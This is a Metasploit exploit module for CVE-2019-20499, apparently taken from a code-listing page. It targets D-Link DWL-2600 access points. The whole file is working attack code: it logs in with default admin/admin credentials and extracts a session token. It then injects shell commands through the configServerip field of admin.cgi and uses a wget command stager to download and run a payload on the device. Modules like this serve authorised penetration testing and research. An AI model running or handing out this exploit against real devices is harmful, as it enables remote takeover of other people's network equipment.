1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name'=> 'DLINK DWL-2600 Authenticated Remote Command Injection', 'Description' => %q{ Some DLINK Access Points are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin. }, 'Author'=> [ 'RAKI BEN HAMOUDA', # Vulnerability discovery and original research 'Nick Starke' # Metasploit Module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'CVE', '2019-20499' ], [ 'EDB', '46841' ] ], 'DisclosureDate' => 'May 15 2019', 'Privileged' => true, 'Platform' => %w{ linux unix }, 'Payload'=> { 'DisableNops' => true, 'BadChars' => "\x00" }, 'CmdStagerFlavor' => :wget, 'Targets'=> [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mips Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget'=> 1 )) register_options( [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ]) ]) end def execute_command(cmd, opts={}) bogus = Rex::Text.rand_text_alpha(rand(10)) post_data = Rex::MIME::Message.new post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"") post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"") post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"") print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'admin.cgi'), 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "sessionHTTP=#{@token};", 'data' => post_data.to_s, 'query'=> 'action=config_restore' }) unless res || res.code != 200 fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!") end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end def exploit user = datastore['HttpUsername'] pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, '/admin.cgi'), 'method' => 'POST', 'vars_post' => { 'i_username' => user, 'i_password' => pass, 'login'=> 'Logon' } }) unless res && res.code != 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end unless [200, 301, 302].include?(res.code) fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") delstart = 'var cookieValue = "' tokenoffset = res.body.index(delstart) + delstart.size endoffset = res.body.index('";', tokenoffset) @token = res.body[tokenoffset, endoffset - tokenoffset] if @token.empty? fail_with(Failure::NoAccess, "#{peer} - No Auth token received") end print_good("#{peer} - Received Auth token: #{@token}") if target.name =~ /CMD/ unless datastore['CMD'] fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end execute_command(payload.encoded) else execute_cmdstager(linemax: 100, noconcat: true) end end end |